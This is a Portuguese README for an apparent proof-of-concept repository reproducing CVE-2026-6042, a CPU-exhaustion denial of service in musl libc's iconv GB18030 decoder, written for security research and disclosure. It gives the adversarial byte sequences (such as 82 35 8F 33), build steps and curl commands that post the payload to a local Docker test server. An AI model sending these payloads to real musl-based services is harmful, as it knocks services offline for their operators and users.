
Prova de conceito e teste de ponta a ponta de DoS por Complexidade Algorítmica no musl libc 0.8.0-1.2.6 atribuído ao CVE-2026-6042
iconv da musl libcLaços de salto de lacunas no decodificador GB18030 de 4 bytes do iconv da musl permitem que uma pequena entrada maliciosa consuma tempo de CPU desproporcional. Um payload adversário de 40 KB pode prender um núcleo de CPU por mais de 40 minutos.
Ao contrário do que dizem os advisories, o vetor de ataque desta exploração é obviamente de rede, não local. Isso decorre do fato de a VulDB não entender realmente as vulnerabilidades que atribui.
Vetor CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5 (Alto)
| Campo | Detalhe |
|---|
| Software afetado | musl libc (implementação do iconv) |
| Codificações afetadas | GB18030 (sequências de 4 bytes) |
| Tipo | Complexidade Algorítmica / Negação de Serviço |
| Versões confirmadas | musl 1.2.5 (Alpine 3.21), musl 1.2.6 (compilada a partir do código-fonte) |
| Provavelmente afetadas | Todas as versões da musl desde que o suporte a GB18030 e UHC/CP949 foi introduzido |
| Superfície de ataque | Qualquer serviço baseado em musl que chame iconv() em entrada não confiável com essas codificações |
O decodificador GB18030 de 4 bytes na musl (src/locale/iconv.c, aproximadamente linhas 434-442) converte uma sequência de entrada de 4 bytes em um índice linear e então percorre um laço de salto de lacunas para mapear esse índice a um codepoint Unicode. Para cada caractere decodificado, o laço interno itera toda a tabela gb18030[126][190] (23.940 entradas) para contar quantos codepoints mapeados em 2 bytes caem dentro de um intervalo deslizante.
A sequência de bytes 82 35 8F 33 produz um índice linear de 19.171, que cai logo abaixo do intervalo denso de Ideogramas Uniformes CJK (U+4E00-U+9FBD, ~20.902 entradas). O laço de salto de lacunas deve então percorrer todo o bloco denso uma entrada por vez, executando ~20.905 iterações externas, cada uma varrendo todas as 23.940 entradas da tabela. Isso equivale a aproximadamente 500 milhões de comparações por caractere de entrada.
Como o custo escala linearmente com o número de caracteres adversários na entrada, e cada caractere aciona independentemente o laço interno completo, o trabalho total é O(n * k^2), onde n é o número de caracteres de entrada e k é o tamanho da tabela de consulta.
Qualquer sistema baseado em musl (Alpine Linux, Void Linux, postmarketOS, imagens de contêiner/embarcadas, etc.) que execute um serviço que transcode GB18030 ou EUC-KR a partir de entrada fornecida pelo usuário via iconv() é vulnerável a negação de serviço.
Tempos projetados em um único núcleo (medidos no Alpine 3.21 / musl 1.2.5):
| Entrada | Tempo |
|---|---|
| 1 caractere adversário (4 bytes) | ~0,26 s |
| 100 caracteres (400 bytes) | ~26 s |
| 1.000 caracteres (4 KB) | ~4,3 min |
| 10.000 caracteres (40 KB) | ~43 min |
Para comparação, 100 caracteres GB18030 benignos são decodificados em microssegundos.
| Arquivo | Descrição |
|---|---|
poc_gb18030_dos.c | PoC autônomo: mede o tempo de decodificação GB18030 benigna vs. adversária via iconv() |
server.c | Servidor HTTP mínimo que transcodifica corpos POST através de iconv(), simulando uma superfície de ataque real |
Dockerfile | Imagem de contêiner Alpine Linux que compila e executa o servidor vulnerável |
test.sh | Script de teste ponta a ponta: envia payloads benignos e adversários ao servidor e compara os tempos de resposta |
iconv)Compile e execute em qualquer sistema baseado em musl:
# No Alpine Linux
apk add gcc musl-dev
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos
Ou via Docker:
docker run --rm -v "$(pwd)":/work -w /work alpine:latest \
sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos"
Saída esperada: caracteres benignos são decodificados em microssegundos; um único caractere adversário (82 35 8F 33) leva ~0,26 segundos.
Compile e inicie o servidor vulnerável:
docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042
Em outro terminal, execute o harness de teste:
./test.sh
Ou envie um payload manualmente:
# Benigno: 100 caracteres, deve retornar instantaneamente
printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/benign.bin http://localhost:8080/
# Adversário: apenas 5 caracteres, deve levar >1 segundo
printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/adversarial.bin http://localhost:8080/
O cabeçalho de resposta X-Transcode-Time informa o tempo gasto dentro do iconv().
A captura de tela abaixo mostra a escala linear da entrada adversária contra o servidor Docker: 20 caracteres (80 bytes) levam ~5,2 s, 80 caracteres (320 bytes) levam ~20,8 s e 160 caracteres (640 bytes) levam ~41,5 s.

| Sequência | Índice Linear | Comportamento |
|---|---|---|
81 30 81 30 (benigna) | 128 | Codepoint baixo; o laço de salto de lacunas termina rapidamente |
82 35 8F 33 (adversária) | 19.171 | Cai logo abaixo do bloco denso CJK; aciona ~500M comparações |
82 35 90 30 (adversária) | ~19.200 | Mesma região, custo semelhante |
Este repositório é publicado para fins de pesquisa em segurança e divulgação responsável. O código é fornecido exclusivamente para reproduzir e verificar a CVE-2026-6042. Não o utilize contra sistemas que você não possui ou para os quais não tenha autorização explícita de teste.